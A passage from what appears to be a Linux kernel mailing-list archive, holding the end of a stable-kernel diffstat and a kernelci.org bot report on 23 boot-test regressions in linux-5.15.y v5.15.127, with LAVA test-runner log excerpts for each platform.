.../common/cros_ec_sensors/cros_ec_sensors_core.c | 2 +-
drivers/infiniband/core/umem.c | 3 +-
drivers/infiniband/hw/hfi1/chip.c | 1 +
drivers/isdn/mISDN/dsp.h | 2 +-
drivers/isdn/mISDN/dsp_cmx.c | 2 +-
drivers/isdn/mISDN/dsp_core.c | 2 +-
drivers/misc/cardreader/rts5227.c | 2 +-
drivers/misc/cardreader/rts5228.c | 18 --
drivers/misc/cardreader/rts5249.c | 3 +-
drivers/misc/cardreader/rts5260.c | 18 --
drivers/misc/cardreader/rts5261.c | 18 --
drivers/misc/cardreader/rtsx_pcr.c | 5 +-
drivers/mmc/host/moxart-mmc.c | 8 +-
drivers/net/bonding/bond_main.c | 4 +-
.../ethernet/hisilicon/hns3/hns3pf/hclge_main.c | 24 ++-
drivers/net/ethernet/ibm/ibmvnic.c | 38 +++-
drivers/net/ethernet/intel/iavf/iavf_ethtool.c | 5 +-
drivers/net/ethernet/intel/iavf/iavf_fdir.c | 11 +-
.../net/ethernet/mellanox/mlx5/core/lib/clock.c | 5 +
drivers/net/ethernet/mellanox/mlx5/core/sriov.c | 3 +-
drivers/net/phy/at803x.c | 2 -
drivers/net/tun.c | 2 +-
drivers/net/wireguard/allowedips.c | 8 +-
drivers/net/wireguard/selftest/allowedips.c | 16 +-
drivers/nvme/host/rdma.c | 3 +-
drivers/nvme/host/tcp.c | 3 +-
drivers/scsi/53c700.c | 2 +-
drivers/scsi/fnic/fnic_scsi.c | 6 +-
drivers/scsi/qedf/qedf_main.c | 18 ++
drivers/scsi/qedi/qedi_main.c | 18 ++
drivers/scsi/raid_class.c | 1 +
drivers/scsi/scsi_proc.c | 30 ++--
drivers/scsi/snic/snic_disc.c | 1 +
drivers/scsi/storvsc_drv.c | 4 -
drivers/usb/common/usb-conn-gpio.c | 6 +-
drivers/usb/dwc3/gadget.c | 9 +-
drivers/usb/storage/alauda.c | 12 +-
drivers/usb/typec/tcpm/tcpm.c | 7 +
fs/btrfs/disk-io.c | 3 +-
fs/btrfs/extent-tree.c | 5 +-
fs/btrfs/extent_io.c | 7 +-
fs/btrfs/relocation.c | 45 ++++-
fs/btrfs/tree-checker.c | 14 ++
fs/ksmbd/smb2misc.c | 10 +-
fs/ksmbd/smb2pdu.c | 9 +-
fs/nilfs2/inode.c | 8 +
fs/nilfs2/segment.c | 2 +
fs/nilfs2/the_nilfs.h | 2 +
include/linux/cpu.h | 2 +
include/linux/skmsg.h | 1 +
include/net/cfg80211.h | 3 +
include/net/netfilter/nf_tables.h | 31 +++-
io_uring/io_uring.c | 6 +-
kernel/bpf/verifier.c | 199 +++++++++++++++++++--
kernel/softirq.c | 3 +-
kernel/time/tick-sched.c | 36 +++-
kernel/time/tick-sched.h | 4 +
net/core/filter.c | 6 -
net/core/skmsg.c | 10 +-
net/core/sock_map.c | 10 +-
net/dccp/output.c | 2 +-
net/dccp/proto.c | 10 +-
net/ipv4/ip_tunnel_core.c | 2 +-
net/ipv4/nexthop.c | 28 +--
net/ipv6/ndisc.c | 3 +-
net/netfilter/nf_tables_api.c | 168 ++++++++++-------
net/netfilter/nft_flow_offload.c | 6 +-
net/netfilter/nft_immediate.c | 8 +-
net/netfilter/nft_objref.c | 8 +-
net/netfilter/nft_set_hash.c | 2 -
net/netfilter/nft_set_pipapo.c | 18 +-
net/netfilter/nft_set_rbtree.c | 2 -
net/packet/af_packet.c | 16 +-
net/sched/sch_netem.c | 59 +++---
net/xdp/xsk.c | 1 +
tools/testing/radix-tree/regression1.c | 2 +-
tools/testing/selftests/bpf/prog_tests/align.c | 36 ++--
tools/testing/selftests/bpf/prog_tests/sk_assign.c | 25 ++-
tools/testing/selftests/bpf/progs/connect4_prog.c | 2 +-
tools/testing/selftests/bpf/progs/test_sk_assign.c | 11 ++
.../selftests/bpf/progs/test_sk_assign_libbpf.c | 3 +
tools/testing/selftests/net/fib_nexthops.sh | 10 ++
tools/testing/selftests/net/forwarding/ethtool.sh | 2 +
.../net/forwarding/ethtool_extended_state.sh | 2 +
tools/testing/selftests/net/forwarding/lib.sh | 16 ++
tools/testing/selftests/net/forwarding/settings | 1 +
.../testing/selftests/net/forwarding/tc_flower.sh | 8 +-
tools/testing/selftests/rseq/Makefile | 4 +-
tools/testing/selftests/rseq/rseq.c | 2 +
114 files changed, 946 insertions(+), 407 deletions(-)
2 years, 4 months
- 11
- 100
stable/linux-5.15.y baseline: 189 runs, 23 regressions (v5.15.127)
by kernelci.org bot
stable/linux-5.15.y baseline: 189 runs, 23 regressions (v5.15.127)
Regressions Summary
-------------------
platform | arch | lab | compiler | defconfig | regressions
-----------------------------+--------+---------------+----------+------------------------------+------------
asus-C436FA-Flip-hatch | x86_64 | lab-collabora | gcc-10 | x86_64_defcon...6-chromebook | 1
asus-C436FA-Flip-hatch | x86_64 | lab-collabora | gcc-10 | x86_64_defcon...ok+kselftest | 1
asus-CM1400CXA-dalboz | x86_64 | lab-collabora | gcc-10 | x86_64_defcon...6-chromebook | 1
asus-CM1400CXA-dalboz | x86_64 | lab-collabora | gcc-10 | x86_64_defcon...ok+kselftest | 1
asus-cx9400-volteer | x86_64 | lab-collabora | gcc-10 | x86_64_defcon...6-chromebook | 1
asus-cx9400-volteer | x86_64 | lab-collabora | gcc-10 | x86_64_defcon...ok+kselftest | 1
bcm2836-rpi-2-b | arm | lab-collabora | gcc-10 | bcm2835_defconfig | 1
beagle-xm | arm | lab-baylibre | gcc-10 | omap2plus_defconfig | 1
cubietruck | arm | lab-baylibre | gcc-10 | multi_v7_defconfig | 1
fsl-lx2160a-rdb | arm64 | lab-nxp | gcc-10 | defconfig | 1
hp-x360-12b-c...4020-octopus | x86_64 | lab-collabora | gcc-10 | x86_64_defcon...6-chromebook | 1
hp-x360-12b-c...4020-octopus | x86_64 | lab-collabora | gcc-10 | x86_64_defcon...ok+kselftest | 1
hp-x360-14-G1-sona | x86_64 | lab-collabora | gcc-10 | x86_64_defcon...6-chromebook | 1
hp-x360-14-G1-sona | x86_64 | lab-collabora | gcc-10 | x86_64_defcon...ok+kselftest | 1
hp-x360-14a-cb0001xx-zork | x86_64 | lab-collabora | gcc-10 | x86_64_defcon...6-chromebook | 1
hp-x360-14a-cb0001xx-zork | x86_64 | lab-collabora | gcc-10 | x86_64_defcon...ok+kselftest | 1
lenovo-TPad-C13-Yoga-zork | x86_64 | lab-collabora | gcc-10 | x86_64_defcon...6-chromebook | 1
lenovo-TPad-C13-Yoga-zork | x86_64 | lab-collabora | gcc-10 | x86_64_defcon...ok+kselftest | 1
mt8173-elm-hana | arm64 | lab-collabora | gcc-10 | defconfig+arm...ok+kselftest | 1
r8a77960-ulcb | arm64 | lab-collabora | gcc-10 | defconfig | 1
r8a77960-ulcb | arm64 | lab-collabora | gcc-10 | defconfig+kselftest | 1
r8a779m1-ulcb | arm64 | lab-collabora | gcc-10 | defconfig | 1
sun50i-h6-pine-h64 | arm64 | lab-collabora | gcc-10 | defconfig | 1
Details: https://kernelci.org/test/job/stable/branch/linux-5.15.y/kernel/v5.15.127/p…
Test: baseline
Tree: stable
Branch: linux-5.15.y
Describe: v5.15.127
URL: https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux-stable.git
SHA: f6f7927ac664ba23447f8dd3c3dfe2f4ee39272f
Test Regressions
----------------
platform | arch | lab | compiler | defconfig | regressions
-----------------------------+--------+---------------+----------+------------------------------+------------
asus-C436FA-Flip-hatch | x86_64 | lab-collabora | gcc-10 | x86_64_defcon...6-chromebook | 1
Details: https://kernelci.org/test/plan/id/64dd14de8517dbbaab35b23b
Results: 6 PASS, 1 FAIL, 0 SKIP
Full config: x86_64_defconfig+x86-chromebook
Compiler: gcc-10 (gcc (Debian 10.2.1-6) 10.2.1 20210110)
Plain log: https://storage.kernelci.org//stable/linux-5.15.y/v5.15.127/x86_64/x86_64_d…
HTML log: https://storage.kernelci.org//stable/linux-5.15.y/v5.15.127/x86_64/x86_64_d…
Rootfs: http://storage.kernelci.org/images/rootfs/buildroot/buildroot-baseline/2023…
* baseline.bootrr.deferred-probe-empty: https://kernelci.org/test/case/id/64dd14de8517dbbaab35b240
failing since 139 days (last pass: v5.15.104, first fail: v5.15.105)
2023-08-16T18:26:21.704700 + set +x
2023-08-16T18:26:21.711218 <8>[ 10.663650] <LAVA_SIGNAL_ENDRUN 0_dmesg 11301608_1.4.2.3.1>
2023-08-16T18:26:21.818789 / # #
2023-08-16T18:26:21.921301 export SHELL=/bin/sh
2023-08-16T18:26:21.922025 #
2023-08-16T18:26:22.023390 / # export SHELL=/bin/sh. /lava-11301608/environment
2023-08-16T18:26:22.024157
2023-08-16T18:26:22.125545 / # . /lava-11301608/environment/lava-11301608/bin/lava-test-runner /lava-11301608/1
2023-08-16T18:26:22.126792
2023-08-16T18:26:22.132560 / # /lava-11301608/bin/lava-test-runner /lava-11301608/1
... (12 line(s) more)
platform | arch | lab | compiler | defconfig | regressions
-----------------------------+--------+---------------+----------+------------------------------+------------
asus-C436FA-Flip-hatch | x86_64 | lab-collabora | gcc-10 | x86_64_defcon...ok+kselftest | 1
Details: https://kernelci.org/test/plan/id/64dd155613fed8962a35b217
Results: 6 PASS, 1 FAIL, 0 SKIP
Full config: x86_64_defconfig+x86-chromebook+kselftest
Compiler: gcc-10 (gcc (Debian 10.2.1-6) 10.2.1 20210110)
Plain log: https://storage.kernelci.org//stable/linux-5.15.y/v5.15.127/x86_64/x86_64_d…
HTML log: https://storage.kernelci.org//stable/linux-5.15.y/v5.15.127/x86_64/x86_64_d…
Rootfs: http://storage.kernelci.org/images/rootfs/buildroot/buildroot-baseline/2023…
* baseline.bootrr.deferred-probe-empty: https://kernelci.org/test/case/id/64dd155613fed8962a35b21c
failing since 139 days (last pass: v5.15.104, first fail: v5.15.105)
2023-08-16T18:28:17.995430 <8>[ 11.258367] <LAVA_SIGNAL_ENDRUN 0_dmesg 11301657_1.4.2.3.1>
2023-08-16T18:28:17.998768 + set +x
2023-08-16T18:28:18.103630 #
2023-08-16T18:28:18.206372 / # #export SHELL=/bin/sh
2023-08-16T18:28:18.207174
2023-08-16T18:28:18.308829 / # export SHELL=/bin/sh. /lava-11301657/environment
2023-08-16T18:28:18.309637
2023-08-16T18:28:18.411292 / # . /lava-11301657/environment/lava-11301657/bin/lava-test-runner /lava-11301657/1
2023-08-16T18:28:18.412586
2023-08-16T18:28:18.418772 / # /lava-11301657/bin/lava-test-runner /lava-11301657/1
... (12 line(s) more)
platform | arch | lab | compiler | defconfig | regressions
-----------------------------+--------+---------------+----------+------------------------------+------------
asus-CM1400CXA-dalboz | x86_64 | lab-collabora | gcc-10 | x86_64_defcon...6-chromebook | 1
Details: https://kernelci.org/test/plan/id/64dd14e922ba8ff0f735b1d9
Results: 6 PASS, 1 FAIL, 0 SKIP
Full config: x86_64_defconfig+x86-chromebook
Compiler: gcc-10 (gcc (Debian 10.2.1-6) 10.2.1 20210110)
Plain log: https://storage.kernelci.org//stable/linux-5.15.y/v5.15.127/x86_64/x86_64_d…
HTML log: https://storage.kernelci.org//stable/linux-5.15.y/v5.15.127/x86_64/x86_64_d…
Rootfs: http://storage.kernelci.org/images/rootfs/buildroot/buildroot-baseline/2023…
* baseline.bootrr.deferred-probe-empty: https://kernelci.org/test/case/id/64dd14ea22ba8ff0f735b1de
failing since 139 days (last pass: v5.15.104, first fail: v5.15.105)
2023-08-16T18:26:37.805329 + set<8>[ 11.982765] <LAVA_SIGNAL_ENDRUN 0_dmesg 11301623_1.4.2.3.1>
2023-08-16T18:26:37.805423 +x
2023-08-16T18:26:37.909900 / # #
2023-08-16T18:26:38.010568 export SHELL=/bin/sh
2023-08-16T18:26:38.010744 #
2023-08-16T18:26:38.111325 / # export SHELL=/bin/sh. /lava-11301623/environment
2023-08-16T18:26:38.111494
2023-08-16T18:26:38.212140 / # . /lava-11301623/environment/lava-11301623/bin/lava-test-runner /lava-11301623/1
2023-08-16T18:26:38.212409
2023-08-16T18:26:38.217136 / # /lava-11301623/bin/lava-test-runner /lava-11301623/1
... (12 line(s) more)
platform | arch | lab | compiler | defconfig | regressions
-----------------------------+--------+---------------+----------+------------------------------+------------
asus-CM1400CXA-dalboz | x86_64 | lab-collabora | gcc-10 | x86_64_defcon...ok+kselftest | 1
Details: https://kernelci.org/test/plan/id/64dd150f0432f6dd6635b21a
Results: 6 PASS, 1 FAIL, 0 SKIP
Full config: x86_64_defconfig+x86-chromebook+kselftest
Compiler: gcc-10 (gcc (Debian 10.2.1-6) 10.2.1 20210110)
Plain log: https://storage.kernelci.org//stable/linux-5.15.y/v5.15.127/x86_64/x86_64_d…
HTML log: https://storage.kernelci.org//stable/linux-5.15.y/v5.15.127/x86_64/x86_64_d…
Rootfs: http://storage.kernelci.org/images/rootfs/buildroot/buildroot-baseline/2023…
* baseline.bootrr.deferred-probe-empty: https://kernelci.org/test/case/id/64dd150f0432f6dd6635b21f
failing since 139 days (last pass: v5.15.104, first fail: v5.15.105)
2023-08-16T18:27:08.167796 + set +x
2023-08-16T18:27:08.170813 <8>[ 10.331852] <LAVA_SIGNAL_ENDRUN 0_dmesg 11301660_1.4.2.3.1>
2023-08-16T18:27:08.279357 / # #
2023-08-16T18:27:08.382282 export SHELL=/bin/sh
2023-08-16T18:27:08.383094 #
2023-08-16T18:27:08.484741 / # export SHELL=/bin/sh. /lava-11301660/environment
2023-08-16T18:27:08.485552
2023-08-16T18:27:08.587362 / # . /lava-11301660/environment/lava-11301660/bin/lava-test-runner /lava-11301660/1
2023-08-16T18:27:08.588592
2023-08-16T18:27:08.593518 / # /lava-11301660/bin/lava-test-runner /lava-11301660/1
... (12 line(s) more)
platform | arch | lab | compiler | defconfig | regressions
-----------------------------+--------+---------------+----------+------------------------------+------------
asus-cx9400-volteer | x86_64 | lab-collabora | gcc-10 | x86_64_defcon...6-chromebook | 1
Details: https://kernelci.org/test/plan/id/64dd14db8517dbbaab35b225
Results: 6 PASS, 1 FAIL, 0 SKIP
Full config: x86_64_defconfig+x86-chromebook
Compiler: gcc-10 (gcc (Debian 10.2.1-6) 10.2.1 20210110)
Plain log: https://storage.kernelci.org//stable/linux-5.15.y/v5.15.127/x86_64/x86_64_d…
HTML log: https://storage.kernelci.org//stable/linux-5.15.y/v5.15.127/x86_64/x86_64_d…
Rootfs: http://storage.kernelci.org/images/rootfs/buildroot/buildroot-baseline/2023…
* baseline.bootrr.deferred-probe-empty: https://kernelci.org/test/case/id/64dd14db8517dbbaab35b22a
failing since 139 days (last pass: v5.15.104, first fail: v5.15.105)
2023-08-16T18:26:28.232563 <8>[ 10.604090] <LAVA_SIGNAL_ENDRUN 0_dmesg 11301595_1.4.2.3.1>
2023-08-16T18:26:28.235708 + set +x
2023-08-16T18:26:28.337217 #
2023-08-16T18:26:28.438077 / # #export SHELL=/bin/sh
2023-08-16T18:26:28.438281
2023-08-16T18:26:28.538817 / # export SHELL=/bin/sh. /lava-11301595/environment
2023-08-16T18:26:28.539035
2023-08-16T18:26:28.639636 / # . /lava-11301595/environment/lava-11301595/bin/lava-test-runner /lava-11301595/1
2023-08-16T18:26:28.639950
2023-08-16T18:26:28.645021 / # /lava-11301595/bin/lava-test-runner /lava-11301595/1
... (12 line(s) more)
platform | arch | lab | compiler | defconfig | regressions
-----------------------------+--------+---------------+----------+------------------------------+------------
asus-cx9400-volteer | x86_64 | lab-collabora | gcc-10 | x86_64_defcon...ok+kselftest | 1
Details: https://kernelci.org/test/plan/id/64dd14fb0432f6dd6635b1e5
Results: 6 PASS, 1 FAIL, 0 SKIP
Full config: x86_64_defconfig+x86-chromebook+kselftest
Compiler: gcc-10 (gcc (Debian 10.2.1-6) 10.2.1 20210110)
Plain log: https://storage.kernelci.org//stable/linux-5.15.y/v5.15.127/x86_64/x86_64_d…
HTML log: https://storage.kernelci.org//stable/linux-5.15.y/v5.15.127/x86_64/x86_64_d…
Rootfs: http://storage.kernelci.org/images/rootfs/buildroot/buildroot-baseline/2023…
* baseline.bootrr.deferred-probe-empty: https://kernelci.org/test/case/id/64dd14fb0432f6dd6635b1ea
failing since 139 days (last pass: v5.15.104, first fail: v5.15.105)
2023-08-16T18:27:00.569342 <8>[ 12.247151] <LAVA_SIGNAL_ENDRUN 0_dmesg 11301638_1.4.2.3.1>
2023-08-16T18:27:00.572754 + set +x
2023-08-16T18:27:00.677967 #
2023-08-16T18:27:00.679362
2023-08-16T18:27:00.781434 / # #export SHELL=/bin/sh
2023-08-16T18:27:00.782223
2023-08-16T18:27:00.884087 / # export SHELL=/bin/sh. /lava-11301638/environment
2023-08-16T18:27:00.884811
2023-08-16T18:27:00.986511 / # . /lava-11301638/environment/lava-11301638/bin/lava-test-runner /lava-11301638/1
2023-08-16T18:27:00.987735
... (13 line(s) more)
platform | arch | lab | compiler | defconfig | regressions
-----------------------------+--------+---------------+----------+------------------------------+------------
bcm2836-rpi-2-b | arm | lab-collabora | gcc-10 | bcm2835_defconfig | 1
Details: https://kernelci.org/test/plan/id/64dd16fb70808fce2735b272
Results: 5 PASS, 1 FAIL, 1 SKIP
Full config: bcm2835_defconfig
Compiler: gcc-10 (arm-linux-gnueabihf-gcc (Debian 10.2.1-6) 10.2.1 20210110)
Plain log: https://storage.kernelci.org//stable/linux-5.15.y/v5.15.127/arm/bcm2835_def…
HTML log: https://storage.kernelci.org//stable/linux-5.15.y/v5.15.127/arm/bcm2835_def…
Rootfs: http://storage.kernelci.org/images/rootfs/buildroot/buildroot-baseline/2023…
* baseline.bootrr.deferred-probe-empty: https://kernelci.org/test/case/id/64dd16fb70808fce2735b277
failing since 20 days (last pass: v5.15.119, first fail: v5.15.123)
2023-08-16T18:36:58.655760 / # #
2023-08-16T18:36:58.757917 export SHELL=/bin/sh
2023-08-16T18:36:58.758610 #
2023-08-16T18:36:58.860024 / # export SHELL=/bin/sh. /lava-11301698/environment
2023-08-16T18:36:58.860723
2023-08-16T18:36:58.962207 / # . /lava-11301698/environment/lava-11301698/bin/lava-test-runner /lava-11301698/1
2023-08-16T18:36:58.963282
2023-08-16T18:36:58.980151 / # /lava-11301698/bin/lava-test-runner /lava-11301698/1
2023-08-16T18:36:59.088014 + export 'TESTRUN_ID=1_bootrr'
2023-08-16T18:36:59.088518 + cd /lava-11301698/1/tests/1_bootrr
... (12 line(s) more)
platform | arch | lab | compiler | defconfig | regressions
-----------------------------+--------+---------------+----------+------------------------------+------------
beagle-xm | arm | lab-baylibre | gcc-10 | omap2plus_defconfig | 1
Details: https://kernelci.org/test/plan/id/64dd192ac6ccacbb5c35b1d9
Results: 0 PASS, 1 FAIL, 0 SKIP
Full config: omap2plus_defconfig
Compiler: gcc-10 (arm-linux-gnueabihf-gcc (Debian 10.2.1-6) 10.2.1 20210110)
Plain log: https://storage.kernelci.org//stable/linux-5.15.y/v5.15.127/arm/omap2plus_d…
HTML log: https://storage.kernelci.org//stable/linux-5.15.y/v5.15.127/arm/omap2plus_d…
Rootfs: http://storage.kernelci.org/images/rootfs/buildroot/buildroot-baseline/2023…
* baseline.login: https://kernelci.org/test/case/id/64dd192ac6ccacbb5c35b1da
failing since 133 days (last pass: v5.15.105, first fail: v5.15.106)
platform | arch | lab | compiler | defconfig | regressions
-----------------------------+--------+---------------+----------+------------------------------+------------
cubietruck | arm | lab-baylibre | gcc-10 | multi_v7_defconfig | 1
Details: https://kernelci.org/test/plan/id/64dd160a88ba034ced35b20f
Results: 5 PASS, 1 FAIL, 1 SKIP
Full config: multi_v7_defconfig
Compiler: gcc-10 (arm-linux-gnueabihf-gcc (Debian 10.2.1-6) 10.2.1 20210110)
Plain log: https://storage.kernelci.org//stable/linux-5.15.y/v5.15.127/arm/multi_v7_de…
HTML log: https://storage.kernelci.org//stable/linux-5.15.y/v5.15.127/arm/multi_v7_de…
Rootfs: http://storage.kernelci.org/images/rootfs/buildroot/buildroot-baseline/2023…
* baseline.bootrr.deferred-probe-empty: https://kernelci.org/test/case/id/64dd160a88ba034ced35b214
failing since 210 days (last pass: v5.15.82, first fail: v5.15.89)
2023-08-16T18:31:24.608924 + set +x<8>[ 10.109469] <LAVA_SIGNAL_ENDRUN 0_dmesg 3743366_1.5.2.4.1>
2023-08-16T18:31:24.609639
2023-08-16T18:31:24.719262 / # #
2023-08-16T18:31:24.822972 export SHELL=/bin/sh
2023-08-16T18:31:24.824140 #
2023-08-16T18:31:24.926383 / # export SHELL=/bin/sh. /lava-3743366/environment
2023-08-16T18:31:24.927482
2023-08-16T18:31:25.029747 / # . /lava-3743366/environment/lava-3743366/bin/lava-test-runner /lava-3743366/1
2023-08-16T18:31:25.031561
2023-08-16T18:31:25.036408 / # /lava-3743366/bin/lava-test-runner /lava-3743366/1
... (12 line(s) more)
platform | arch | lab | compiler | defconfig | regressions
-----------------------------+--------+---------------+----------+------------------------------+------------
fsl-lx2160a-rdb | arm64 | lab-nxp | gcc-10 | defconfig | 1
Details: https://kernelci.org/test/plan/id/64dd15ff362e35214935b1f1
Results: 5 PASS, 1 FAIL, 1 SKIP
Full config: defconfig
Compiler: gcc-10 (aarch64-linux-gnu-gcc (Debian 10.2.1-6) 10.2.1 20210110)
Plain log: https://storage.kernelci.org//stable/linux-5.15.y/v5.15.127/arm64/defconfig…
HTML log: https://storage.kernelci.org//stable/linux-5.15.y/v5.15.127/arm64/defconfig…
Rootfs: http://storage.kernelci.org/images/rootfs/buildroot/buildroot-baseline/2023…
* baseline.bootrr.deferred-probe-empty: https://kernelci.org/test/case/id/64dd15ff362e35214935b1f6
failing since 166 days (last pass: v5.15.79, first fail: v5.15.97)
2023-08-16T18:31:17.959615 [ 10.746568] <LAVA_SIGNAL_ENDRUN 0_dmesg 1244232_1.5.2.4.1>
2023-08-16T18:31:18.064777
2023-08-16T18:31:18.165927 / # #export SHELL=/bin/sh
2023-08-16T18:31:18.166323
2023-08-16T18:31:18.267247 / # export SHELL=/bin/sh. /lava-1244232/environment
2023-08-16T18:31:18.267643
2023-08-16T18:31:18.368636 / # . /lava-1244232/environment/lava-1244232/bin/lava-test-runner /lava-1244232/1
2023-08-16T18:31:18.369312
2023-08-16T18:31:18.372984 / # /lava-1244232/bin/lava-test-runner /lava-1244232/1
2023-08-16T18:31:18.389265 + export 'TESTRUN_ID=1_bootrr'
... (11 line(s) more)
platform | arch | lab | compiler | defconfig | regressions
-----------------------------+--------+---------------+----------+------------------------------+------------
hp-x360-12b-c...4020-octopus | x86_64 | lab-collabora | gcc-10 | x86_64_defcon...6-chromebook | 1
Details: https://kernelci.org/test/plan/id/64dd14d2abdfd8ae0735b1f3
Results: 6 PASS, 1 FAIL, 0 SKIP
Full config: x86_64_defconfig+x86-chromebook
Compiler: gcc-10 (gcc (Debian 10.2.1-6) 10.2.1 20210110)
Plain log: https://storage.kernelci.org//stable/linux-5.15.y/v5.15.127/x86_64/x86_64_d…
HTML log: https://storage.kernelci.org//stable/linux-5.15.y/v5.15.127/x86_64/x86_64_d…
Rootfs: http://storage.kernelci.org/images/rootfs/buildroot/buildroot-baseline/2023…
* baseline.bootrr.deferred-probe-empty: https://kernelci.org/test/case/id/64dd14d2abdfd8ae0735b1f8
failing since 139 days (last pass: v5.15.104, first fail: v5.15.105)
2023-08-16T18:26:14.489113 + set +x
2023-08-16T18:26:14.495854 <8>[ 10.886812] <LAVA_SIGNAL_ENDRUN 0_dmesg 11301601_1.4.2.3.1>
2023-08-16T18:26:14.600091 / # #
2023-08-16T18:26:14.700742 export SHELL=/bin/sh
2023-08-16T18:26:14.700979 #
2023-08-16T18:26:14.801548 / # export SHELL=/bin/sh. /lava-11301601/environment
2023-08-16T18:26:14.801787
2023-08-16T18:26:14.902345 / # . /lava-11301601/environment/lava-11301601/bin/lava-test-runner /lava-11301601/1
2023-08-16T18:26:14.902727
2023-08-16T18:26:14.907866 / # /lava-11301601/bin/lava-test-runner /lava-11301601/1
... (12 line(s) more)
platform | arch | lab | compiler | defconfig | regressions
-----------------------------+--------+---------------+----------+------------------------------+------------
hp-x360-12b-c...4020-octopus | x86_64 | lab-collabora | gcc-10 | x86_64_defcon...ok+kselftest | 1
Details: https://kernelci.org/test/plan/id/64dd1521796078794435b1f6
Results: 6 PASS, 1 FAIL, 0 SKIP
Full config: x86_64_defconfig+x86-chromebook+kselftest
Compiler: gcc-10 (gcc (Debian 10.2.1-6) 10.2.1 20210110)
Plain log: https://storage.kernelci.org//stable/linux-5.15.y/v5.15.127/x86_64/x86_64_d…
HTML log: https://storage.kernelci.org//stable/linux-5.15.y/v5.15.127/x86_64/x86_64_d…
Rootfs: http://storage.kernelci.org/images/rootfs/buildroot/buildroot-baseline/2023…
* baseline.bootrr.deferred-probe-empty: https://kernelci.org/test/case/id/64dd1521796078794435b1fb
failing since 139 days (last pass: v5.15.104, first fail: v5.15.105)
2023-08-16T18:27:38.705541 + set +x
2023-08-16T18:27:38.712366 <8>[ 12.619030] <LAVA_SIGNAL_ENDRUN 0_dmesg 11301651_1.4.2.3.1>
2023-08-16T18:27:38.816571 / # #
2023-08-16T18:27:38.917288 export SHELL=/bin/sh
2023-08-16T18:27:38.917477 #
2023-08-16T18:27:39.017984 / # export SHELL=/bin/sh. /lava-11301651/environment
2023-08-16T18:27:39.018159
2023-08-16T18:27:39.118648 / # . /lava-11301651/environment/lava-11301651/bin/lava-test-runner /lava-11301651/1
2023-08-16T18:27:39.118925
2023-08-16T18:27:39.123047 / # /lava-11301651/bin/lava-test-runner /lava-11301651/1
... (12 line(s) more)
platform | arch | lab | compiler | defconfig | regressions
-----------------------------+--------+---------------+----------+------------------------------+------------
hp-x360-14-G1-sona | x86_64 | lab-collabora | gcc-10 | x86_64_defcon...6-chromebook | 1
Details: https://kernelci.org/test/plan/id/64dd14d88517dbbaab35b20f
Results: 6 PASS, 1 FAIL, 0 SKIP
Full config: x86_64_defconfig+x86-chromebook
Compiler: gcc-10 (gcc (Debian 10.2.1-6) 10.2.1 20210110)
Plain log: https://storage.kernelci.org//stable/linux-5.15.y/v5.15.127/x86_64/x86_64_d…
HTML log: https://storage.kernelci.org//stable/linux-5.15.y/v5.15.127/x86_64/x86_64_d…
Rootfs: http://storage.kernelci.org/images/rootfs/buildroot/buildroot-baseline/2023…
* baseline.bootrr.deferred-probe-empty: https://kernelci.org/test/case/id/64dd14d88517dbbaab35b214
failing since 139 days (last pass: v5.15.104, first fail: v5.15.105)
2023-08-16T18:26:21.076979 <8>[ 10.919366] <LAVA_SIGNAL_ENDRUN 0_dmesg 11301614_1.4.2.3.1>
2023-08-16T18:26:21.080481 + set +x
2023-08-16T18:26:21.181786 #
2023-08-16T18:26:21.182137
2023-08-16T18:26:21.282798 / # #export SHELL=/bin/sh
2023-08-16T18:26:21.283772
2023-08-16T18:26:21.385260 / # export SHELL=/bin/sh. /lava-11301614/environment
2023-08-16T18:26:21.386017
2023-08-16T18:26:21.487455 / # . /lava-11301614/environment/lava-11301614/bin/lava-test-runner /lava-11301614/1
2023-08-16T18:26:21.488756
... (13 line(s) more)
platform | arch | lab | compiler | defconfig | regressions
-----------------------------+--------+---------------+----------+------------------------------+------------
hp-x360-14-G1-sona | x86_64 | lab-collabora | gcc-10 | x86_64_defcon...ok+kselftest | 1
Details: https://kernelci.org/test/plan/id/64dd14eafff34a62ea35b1dd
Results: 6 PASS, 1 FAIL, 0 SKIP
Full config: x86_64_defconfig+x86-chromebook+kselftest
Compiler: gcc-10 (gcc (Debian 10.2.1-6) 10.2.1 20210110)
Plain log: https://storage.kernelci.org//stable/linux-5.15.y/v5.15.127/x86_64/x86_64_d…
HTML log: https://storage.kernelci.org//stable/linux-5.15.y/v5.15.127/x86_64/x86_64_d…
Rootfs: http://storage.kernelci.org/images/rootfs/buildroot/buildroot-baseline/2023…
* baseline.bootrr.deferred-probe-empty: https://kernelci.org/test/case/id/64dd14eafff34a62ea35b1e2
failing since 139 days (last pass: v5.15.104, first fail: v5.15.105)
2023-08-16T18:26:41.352521 + <8>[ 11.014208] <LAVA_SIGNAL_ENDRUN 0_dmesg 11301656_1.4.2.3.1>
2023-08-16T18:26:41.352939 set +x
2023-08-16T18:26:41.456646 #
2023-08-16T18:26:41.558973 / # #export SHELL=/bin/sh
2023-08-16T18:26:41.559576
2023-08-16T18:26:41.660868 / # export SHELL=/bin/sh. /lava-11301656/environment
2023-08-16T18:26:41.661350
2023-08-16T18:26:41.762367 / # . /lava-11301656/environment/lava-11301656/bin/lava-test-runner /lava-11301656/1
2023-08-16T18:26:41.763215
2023-08-16T18:26:41.768272 / # /lava-11301656/bin/lava-test-runner /lava-11301656/1
... (12 line(s) more)
platform | arch | lab | compiler | defconfig | regressions
-----------------------------+--------+---------------+----------+------------------------------+------------
hp-x360-14a-cb0001xx-zork | x86_64 | lab-collabora | gcc-10 | x86_64_defcon...6-chromebook | 1
Details: https://kernelci.org/test/plan/id/64dd14ec833972bb5d35b1e7
Results: 6 PASS, 1 FAIL, 0 SKIP
Full config: x86_64_defconfig+x86-chromebook
Compiler: gcc-10 (gcc (Debian 10.2.1-6) 10.2.1 20210110)
Plain log: https://storage.kernelci.org//stable/linux-5.15.y/v5.15.127/x86_64/x86_64_d…
HTML log: https://storage.kernelci.org//stable/linux-5.15.y/v5.15.127/x86_64/x86_64_d…
Rootfs: http://storage.kernelci.org/images/rootfs/buildroot/buildroot-baseline/2023…
* baseline.bootrr.deferred-probe-empty: https://kernelci.org/test/case/id/64dd14ec833972bb5d35b1ec
failing since 139 days (last pass: v5.15.104, first fail: v5.15.105)
2023-08-16T18:26:37.297616 + set<8>[ 10.872454] <LAVA_SIGNAL_ENDRUN 0_dmesg 11301588_1.4.2.3.1>
2023-08-16T18:26:37.298174 +x
2023-08-16T18:26:37.406071 / # #
2023-08-16T18:26:37.508670 export SHELL=/bin/sh
2023-08-16T18:26:37.509458 #
